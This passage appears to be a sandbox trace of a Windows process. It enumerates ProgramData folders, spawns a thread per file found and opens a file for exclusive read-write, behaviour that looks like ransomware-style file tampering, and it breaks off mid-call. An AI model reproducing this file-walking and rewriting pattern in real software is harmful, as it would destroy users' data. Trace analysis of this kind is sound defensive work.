(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0b70) returned 1 [0077.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf848) returned 1 [0077.554] RtlExitUserThread (Status=0x0) Thread: id = 707 os_tid = 0x12c4 [0074.905] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0c20 [0074.905] wcscpy (in: _Dest=0x33f0c20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0074.905] wcscat (in: _Dest=0x33f0c20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0074.905] wcscat (in: _Dest=0x33f0c20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*" [0074.905] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2908 [0074.905] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*", lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34344e8 [0074.906] wcscmp (_String1=".", _String2=".") returned 0 [0074.906] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.906] wcscmp (_String1="..", _String2=".") returned 1 [0074.906] wcscmp (_String1="..", _String2="..") returned 0 [0074.906] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6a449, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6a449, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6a449, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.906] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.906] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3435118 [0074.906] wcscpy (in: _Dest=0x3435118, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0074.906] wcscat (in: _Dest=0x3435118, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0074.906] wcscat (in: _Dest=0x3435118, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" [0076.615] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0077.555] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.555] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.555] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475a10 [0077.555] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0077.555] wcscat (in: _Dest=0x3475a10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0077.555] wcscat (in: _Dest=0x3475a10, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" [0077.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0077.556] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.556] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.556] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34286f8 [0077.556] wcscpy (in: _Dest=0x34286f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0077.556] wcscat (in: _Dest=0x34286f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0077.556] wcscat (in: _Dest=0x34286f8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0077.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34286f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0077.557] FindNextFileW (in: hFindFile=0x34344e8, lpFindFileData=0x33f2908 | out: lpFindFileData=0x33f2908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.557] FindClose (in: hFindFile=0x34344e8 | out: hFindFile=0x34344e8) returned 1 [0077.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2908) returned 1 [0077.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0c20) returned 1 [0077.557] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf8f8) returned 1 [0077.557] RtlExitUserThread (Status=0x0) Thread: id = 708 os_tid = 0x12e8 [0074.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0cd0 [0074.907] wcscpy (in: _Dest=0x33f0cd0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0074.907] wcscat (in: _Dest=0x33f0cd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0074.907] wcscat (in: _Dest=0x33f0cd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*" [0074.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4f88 [0074.907] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*", lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34341e8 [0074.909] wcscmp (_String1=".", _String2=".") returned 0 [0074.909] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.909] wcscmp (_String1="..", _String2=".") returned 1 [0074.909] wcscmp (_String1="..", _String2="..") returned 0 [0074.909] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560ed25a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x560ed25a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x560ed25a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x6274, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0074.909] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.909] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f72d8 [0074.909] wcscpy (in: _Dest=0x33f72d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0074.909] wcscat (in: _Dest=0x33f72d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0074.909] wcscat (in: _Dest=0x33f72d8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" [0076.615] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f72d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0077.558] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d0d528, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55d0d528, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55d0d528, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.558] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.558] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475ae8 [0077.559] wcscpy (in: _Dest=0x3475ae8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0077.559] wcscat (in: _Dest=0x3475ae8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0077.559] wcscat (in: _Dest=0x3475ae8, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" [0077.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0077.559] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.559] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.559] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34289d8 [0077.559] wcscpy (in: _Dest=0x34289d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0077.559] wcscat (in: _Dest=0x34289d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0077.559] wcscat (in: _Dest=0x34289d8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0077.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34289d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0077.560] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.560] FindClose (in: hFindFile=0x34341e8 | out: hFindFile=0x34341e8) returned 1 [0077.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4f88) returned 1 [0077.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0cd0) returned 1 [0077.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf378) returned 1 [0077.561] RtlExitUserThread (Status=0x0) Thread: id = 709 os_tid = 0x1334 [0074.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaaf0 [0074.910] wcscpy (in: _Dest=0x33eaaf0, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0074.910] wcscat (in: _Dest=0x33eaaf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\" [0074.910] wcscat (in: _Dest=0x33eaaf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*" [0074.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0074.910] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0074.910] wcscmp (_String1=".", _String2=".") returned 0 [0074.910] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.910] wcscmp (_String1="..", _String2=".") returned 1 [0074.910] wcscmp (_String1="..", _String2="..") returned 0 [0074.910] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.910] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0074.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0074.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaaf0) returned 1 [0074.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0074.911] RtlExitUserThread (Status=0x0) Thread: id = 710 os_tid = 0x1338 [0074.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cce70 [0074.911] wcscpy (in: _Dest=0x33cce70, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" [0074.912] wcscat (in: _Dest=0x33cce70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\" [0074.912] wcscat (in: _Dest=0x33cce70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*" [0074.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0074.912] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0074.913] wcscmp (_String1=".", _String2=".") returned 0 [0074.913] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.913] wcscmp (_String1="..", _String2=".") returned 1 [0074.913] wcscmp (_String1="..", _String2="..") returned 0 [0074.913] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.913] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0074.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0074.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cce70) returned 1 [0074.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd370) returned 1 [0074.913] RtlExitUserThread (Status=0x0) Thread: id = 711 os_tid = 0x133c [0074.914] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.chk")) returned 0x20 [0074.915] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk", dwFileAttributes=0x20) returned 1 [0074.915] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b0 [0074.916] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x1b13fe18 | out: lpFileSize=0x1b13fe18*=8192) returned 1 [0074.916] SetFilePointerEx (in: hFile=0x9b0, 